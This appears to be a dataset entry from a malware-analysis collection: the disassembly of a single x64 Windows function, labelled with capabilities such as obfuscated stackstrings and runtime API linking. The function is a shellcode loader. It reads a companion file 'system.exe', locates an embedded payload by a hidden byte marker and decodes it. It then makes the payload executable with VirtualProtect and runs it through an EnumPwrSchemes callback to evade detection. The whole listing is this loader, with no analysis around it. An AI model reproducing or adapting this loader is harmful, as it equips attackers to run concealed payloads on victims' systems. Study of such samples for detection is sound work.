Function at 0x622c15cd
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Read file on windows

Disassembly:
push rbp
sub rsp, 0x2f0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x26c], 0x1a64
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x260]
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x260]
lea rdx, str.GetModuleFileNameA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
lea rcx, str.powrprof.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
lea rdx, str.EnumPwrSchemes
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
lea rcx, str.advapi32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
lea rdx, str.RtlGenRandom
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x260]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x260]
lea rdx, str.HeapFree
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0xe0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0xe0]
mov edx, 0x5c
mov rcx, rax
call sym.strrchr
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x622c1748
mov rax, qword [rbp + 0x220]
add rax, 1
mov byte [rax], 0
lea rdx, [rbp + 0xe0]
lea rax, [rbp - 0x30]
mov r9, rdx
lea r8, str._ssystem.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x30]
lea rdx, [0x622c411f]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.ftell
cdqe
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x218]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x210]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x208], rax
mov rcx, qword [rbp + 0x218]
mov rdx, qword [rbp + 0x210]
mov rax, qword [rbp + 0x208]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.fclose
mov byte [rbp - 0x50], 0x34
mov byte [rbp - 0x4f], 0x3c
mov byte [rbp - 0x4e], 0xf4
mov byte [rbp - 0x4d], 0xf4
mov byte [rbp - 0x4c], 0xf4
mov byte [rbp - 0x4b], 0x26
mov byte [rbp - 0x4a], 2
mov byte [rbp - 0x49], 0x6b
mov byte [rbp - 0x48], 0x7b
mov byte [rbp - 0x47], 0x60
mov byte [rbp - 0x46], 0x64
mov byte [rbp - 0x45], 0x23
mov byte [rbp - 0x44], 2
mov byte [rbp - 0x43], 0xe3
mov byte [rbp - 0x42], 0xb6
mov byte [rbp - 0x41], 0xe3
mov byte [rbp - 0x40], 0xb6
mov byte [rbp - 0x3f], 0x25
mov byte [rbp - 0x3e], 0x6b
mov byte [rbp - 0x3d], 0x7b
mov byte [rbp - 0x3c], 0x64
mov byte [rbp - 0x3b], 0x27
mov byte [rbp - 0x3a], 0x24
mov byte [rbp - 0x39], 2
mov byte [rbp - 0x38], 0xe3
mov byte [rbp - 0x37], 0xbf
mov byte [rbp - 0x36], 0x6b
mov byte [rbp - 0x35], 0x7b
mov byte [rbp - 0x34], 0x64
mov byte [rbp - 0x33], 0x21
mov byte [rbp - 0x32], 0x2c
mov byte [rbp - 0x31], 0x6b
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0x210]
mov rax, qword [rbp + 0x208]
mov r9d, 0x20
mov r8, rcx
mov rcx, rax
call sym.search_hex_sequence
mov qword [rbp + 0x200], rax
cmp qword [rbp + 0x200], 0
jne 0x622c18f4
lea rcx, str.Entry_sequence_not_found.
call sym.puts
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x622c1a19
mov rdx, qword [rbp + 0x200]
mov rax, qword [rbp + 0x208]
sub rdx, rax
mov rax, rdx
mov qword [rbp + 0x1f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x230]
mov r8d, 0x4b035
mov edx, 8
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
jne 0x622c1965
lea rcx, str.Memory_allocation_failed.
call sym.puts
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x622c1a19
mov rdx, qword [rbp + 0x208]
mov rax, qword [rbp + 0x1f8]
add rdx, rax
mov rax, qword [rbp + 0x1f0]
mov r8d, 0x4b035
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp + 0x26c]
mov rax, qword [rbp + 0x1f0]
mov r8d, edx
mov edx, 0x4b035
mov rcx, rax
call sym.a1b2c3
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sym.free
lea rdx, [rbp - 0x54]
mov rcx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x250]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x4b035
call rax
mov rdx, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x240]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rcx, rax
mov rdx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x228]
mov r8, rdx
mov edx, 0
call rax
mov eax, 0
add rsp, 0x2f0
pop rbp
ret